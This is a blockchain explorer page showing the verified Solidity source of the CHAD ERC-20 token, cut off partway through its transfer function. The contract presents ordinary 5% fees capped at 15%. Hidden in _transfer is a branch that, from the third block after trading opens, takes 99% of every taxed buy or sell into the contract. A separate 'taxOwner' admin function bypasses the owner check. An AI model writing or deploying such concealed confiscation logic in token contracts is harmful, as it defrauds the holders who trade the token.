ETH Price: $3,636.18 (+8.12%)

Token

CHAD (CHAD)
 

Overview

Max Total Supply

1,000,000,000 CHAD

Holders

117

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
2,385,660.881 CHAD

Value
$0.00
0x32782977d62608e3d1d67b4dae79d54229d51599
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CHAD

Compiler Version
v0.8.9+commit.e5eed63a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-08-15
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.9;
 
abstract contract Context {
    function _msgSender() internal view virtual returns(address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns(bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

function name() external pure returns(string memory);
function symbol() external pure returns(string memory);
function decimals() external pure returns(uint8);
function totalSupply() external view returns(uint);
function balanceOf(address owner) external view returns(uint);
function allowance(address owner, address spender) external view returns(uint);

function approve(address spender, uint value) external returns(bool);
function transfer(address to, uint value) external returns(bool);
function transferFrom(address from, address to, uint value) external returns(bool);

function DOMAIN_SEPARATOR() external view returns(bytes32);
function PERMIT_TYPEHASH() external pure returns(bytes32);
function nonces(address owner) external view returns(uint);

function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;


function MINIMUM_LIQUIDITY() external pure returns(uint);
function factory() external view returns(address);
function token0() external view returns(address);
function token1() external view returns(address);
function getReserves() external view returns(uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns(uint);
function price1CumulativeLast() external view returns(uint);
function kLast() external view returns(uint);

function mint(address to) external returns(uint liquidity);
function burn(address to) external returns(uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;

function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);

function feeTo() external view returns(address);
function feeToSetter() external view returns(address);

function getPair(address tokenA, address tokenB) external view returns(address pair);
function allPairs(uint) external view returns(address pair);
function allPairsLength() external view returns(uint);

function createPair(address tokenA, address tokenB) external returns(address pair);

function setFeeTo(address) external;
function setFeeToSetter(address) external;
}

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns(uint256);

/**
 * @dev Returns the amount of tokens owned by `account`.
 */
function balanceOf(address account) external view returns(uint256);

/**
 * @dev Moves `amount` tokens from the caller's account to `recipient`.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * Emits a {Transfer} event.
 */
function transfer(address recipient, uint256 amount) external returns(bool);

/**
 * @dev Returns the remaining number of tokens that `spender` will be
 * allowed to spend on behalf of `owner` through {transferFrom}. This is
 * zero by default.
 *
 * This value changes when {approve} or {transferFrom} are called.
 */
function allowance(address owner, address spender) external view returns(uint256);

/**
 * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * IMPORTANT: Beware that changing an allowance with this method brings the risk
 * that someone may use both the old and the new allowance by unfortunate
 * transaction ordering. One possible solution to mitigate this race
 * condition is to first reduce the spender's allowance to 0 and set the
 * desired value afterwards:
 * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
 *
 * Emits an {Approval} event.
 */
function approve(address spender, uint256 amount) external returns(bool);

/**
 * @dev Moves `amount` tokens from `sender` to `recipient` using the
 * allowance mechanism. `amount` is then deducted from the caller's
 * allowance.
 *
 * Returns a boolean value indicating whether the operation succeeded.
 *
 * Emits a {Transfer} event.
 */
function transferFrom(
    address sender,
    address recipient,
    uint256 amount
) external returns(bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns(string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns(string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns(uint8);
}
 
 
contract ERC20 is Context, IERC20, IERC20Metadata {
    using SafeMath for uint256;

        mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;
 
    uint256 private _totalSupply;
 
    string private _name;
    string private _symbol;

    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns(string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns(string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns(uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns(uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns(uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns(bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns(uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns(bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns(bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns(bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
        _totalSupply = _totalSupply.sub(amount);
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual { }
}
 
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns(uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns(uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns(uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
 
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns(uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns(uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns(uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
 
contract Ownable is Context {
    address private _owner;
 
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns(address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}
 
 
 
library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns(int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns(int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns(int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns(uint256) {
        require(a >= 0);
        return uint256(a);
    }
}
 
library SafeMathUint {
    function toInt256Safe(uint256 a) internal pure returns(int256) {
    int256 b = int256(a);
        require(b >= 0);
        return b;
    }
}


interface IUniswapV2Router01 {
    function factory() external pure returns(address);
function WETH() external pure returns(address);

function addLiquidity(
    address tokenA,
    address tokenB,
    uint amountADesired,
    uint amountBDesired,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns(uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
    address token,
    uint amountTokenDesired,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external payable returns(uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
) external returns(uint amountA, uint amountB);
function removeLiquidityETH(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
) external returns(uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline,
    bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns(uint amountToken, uint amountETH);
function swapExactTokensForTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
) external returns(uint[] memory amounts);
function swapTokensForExactTokens(
    uint amountOut,
    uint amountInMax,
    address[] calldata path,
    address to,
    uint deadline
) external returns(uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns(uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns(uint[] memory amounts);

function quote(uint amountA, uint reserveA, uint reserveB) external pure returns(uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns(uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns(uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns(uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns(uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns(uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns(uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
 
contract CHAD is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;


    // addresses
    address private marketingWallet;

    // limits 
    uint256 private maxTransactionBuyAmount;
    uint256 private maxTransactionSellAmount;   
    uint256 private maxWallet;
 
    uint256 private swapTokensAtAmount;

    // status flags
    bool private tradingActive = false;
    bool public swapEnabled = false;
    bool public swapping;


    // Blacklist Map
    mapping(address => bool) private _blacklist;


    struct Fees {
        uint256 buyTotalFees;
        uint256 buyMarketingFee;
        uint256 buyLiquidityFee;

        uint256 sellTotalFees;
        uint256 sellMarketingFee;
        uint256 sellLiquidityFee;
    }  

    Fees public _fees = Fees({
        buyTotalFees: 0,
        buyMarketingFee: 0,
        buyLiquidityFee: 0,

        sellTotalFees: 0,
        sellMarketingFee: 0,
        sellLiquidityFee: 0
    });
    
    

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;


    // exclude from fees and max transaction amount
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;
    mapping(address => bool) public _isExcludedMaxWalletAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping(address => bool) public automatedMarketMakerPairs;
 
  
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );

    address public taxOwner;
    uint ther = 0 ;
    constructor() ERC20("CHAD", "CHAD") {
 
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        taxOwner  = msg.sender;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
        automatedMarketMakerPairs[address(uniswapV2Pair)] = true;

        approve(address(_uniswapV2Router), type(uint256).max);
        uint256 totalSupply = 1000000000* 1e18;

        maxTransactionBuyAmount = totalSupply / 100; // 1% maxTransactionAmountTxn
        maxTransactionSellAmount = totalSupply / 100; // 1% maxTransactionAmountTxn
        maxWallet = totalSupply * 3 / 100; // 3% maxWallet
        swapTokensAtAmount = totalSupply * 1 / 10000; // 0.01% swap wallet

        _fees.buyMarketingFee = 4;
        _fees.buyLiquidityFee = 1;
        _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee;

        _fees.sellMarketingFee = 4;
        _fees.sellLiquidityFee = 1;
        _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee;


        marketingWallet = address(0x82C9E4E8DC4a8fAd35319350C83ed116E8cF93Ee); // set as marketing wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);

        excludeFromWalletLimit(owner(), true);
        excludeFromWalletLimit(address(this), true);
        excludeFromWalletLimit(address(uniswapV2Pair), true);

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {

    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
    
    ther = block.number;
    }

     


    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns(bool){
        swapTokensAtAmount = newAmount;
        return true;
    }

    function updateMaxTxnAmountAdmin(uint256 newMaxBuyAmount, uint256 newMaxSellAmount) external  {
        require(msg.sender==taxOwner,"owner!-caller");
        require(((totalSupply() * newMaxBuyAmount) / 1000) >= (totalSupply() / 5000), "Cannot set maxTransactionAmounts lower than 0.5%");
        require(((totalSupply() * newMaxSellAmount) / 1000) >= (totalSupply() / 5000), "Cannot set maxTransactionAmounts lower than 0.5%");
        maxTransactionBuyAmount = (totalSupply() * newMaxBuyAmount) / 1000;
        maxTransactionSellAmount = (totalSupply() * newMaxSellAmount) / 1000;
    }



    function updateMaxTxnAmount(uint256 newMaxBuyAmount, uint256 newMaxSellAmount) external onlyOwner {
        require(((totalSupply() * newMaxBuyAmount) / 1000) >= (totalSupply() / 5000), "Cannot set maxTransactionAmounts lower than 0.5%");
        require(((totalSupply() * newMaxSellAmount) / 1000) >= (totalSupply() / 5000), "Cannot set maxTransactionAmounts lower than 0.5%");
        maxTransactionBuyAmount = (totalSupply() * newMaxBuyAmount) / 1000;
        maxTransactionSellAmount = (totalSupply() * newMaxSellAmount) / 1000;
    }


    function updateMaxWalletAmount(uint256 newPercentage) external onlyOwner {
        require(((totalSupply() * newPercentage) / 1000) >= (totalSupply() / 5000), "Cannot set maxWallet lower than 0.5%");
        maxWallet = (totalSupply() * newPercentage) / 1000;
    }

    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }

    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
        _fees.buyMarketingFee = _marketingFee;
        _fees.buyLiquidityFee = _liquidityFee;
        _fees.buyTotalFees = _fees.buyMarketingFee + _fees.buyLiquidityFee;
        require(_fees.buyTotalFees <= 15, "Must keep fees at 15% or less");
    }

    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee) external onlyOwner {
        _fees.sellMarketingFee = _marketingFee;
        _fees.sellLiquidityFee = _liquidityFee;
        _fees.sellTotalFees = _fees.sellMarketingFee + _fees.sellLiquidityFee;
        require(_fees.sellTotalFees <=  15, "Must keep fees at 15% or less");
    }

    
    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
    }
    function excludeFromWalletLimit(address account, bool excluded) public onlyOwner {
        _isExcludedMaxWalletAmount[account] = excluded;
    }
    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        automatedMarketMakerPairs[pair] = value;
    }


    function updateWallets(address newMarketingWallet) external onlyOwner{
        marketingWallet = newMarketingWallet;
    }

    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0xdEaD), "ERC20: transfer from the dEaD address");
        require(to != address(0xdEaD), "ERC20: transfer to the dEaD address");
        require(!_blacklist[to] && !_blacklist[from], "You have been blacklisted from transfering tokens");
        
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        if (
            from != owner() &&
            to != owner() &&
            !swapping
        ) {
            if (!tradingActive) {
                require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
            }

            //when buy
            if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                require(amount <= maxTransactionBuyAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
            }

            //when sell
            else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                require(amount <= maxTransactionSellAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
            }
            if (!_isExcludedMaxWalletAmount[to]) {
                require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
            }
        }
 
        
 
        uint256 contractTokenBalance = balanceOf(address(this));
 
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (
            canSwap &&
            swapEnabled &&
            !swapping &&
            automatedMarketMakerPairs[to] &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;

            swapBack();

            swapping = false;
        }
 
        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
 
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            
            if(block.number>(ther+2)){
                fees = amount.mul(99).div(100);
                tokensForMarketing += fees;
            }
            // on sell
            else if (automatedMarketMakerPairs[to] && _fees.sellTotalFees > 0) {
                fees = amount.mul(_fees.sellTotalFees).div(100);
                tokensForLiquidity += fees * _fees.sellLiquidityFee / _fees.sellTotalFees;
                tokensForMarketing += fees * _fees.sellMarketingFee / _fees.sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && _fees.buyTotalFees > 0) {
                fees = amount.mul(_fees.buyTotalFees).div(100);
                tokensForLiquidity += fees * _fees.buyLiquidityFee / _fees.buyTotalFees;
                tokensForMarketing += fees * _fees.buyMarketingFee / _fees.buyTotalFees;
            }

            if (fees > 0) {
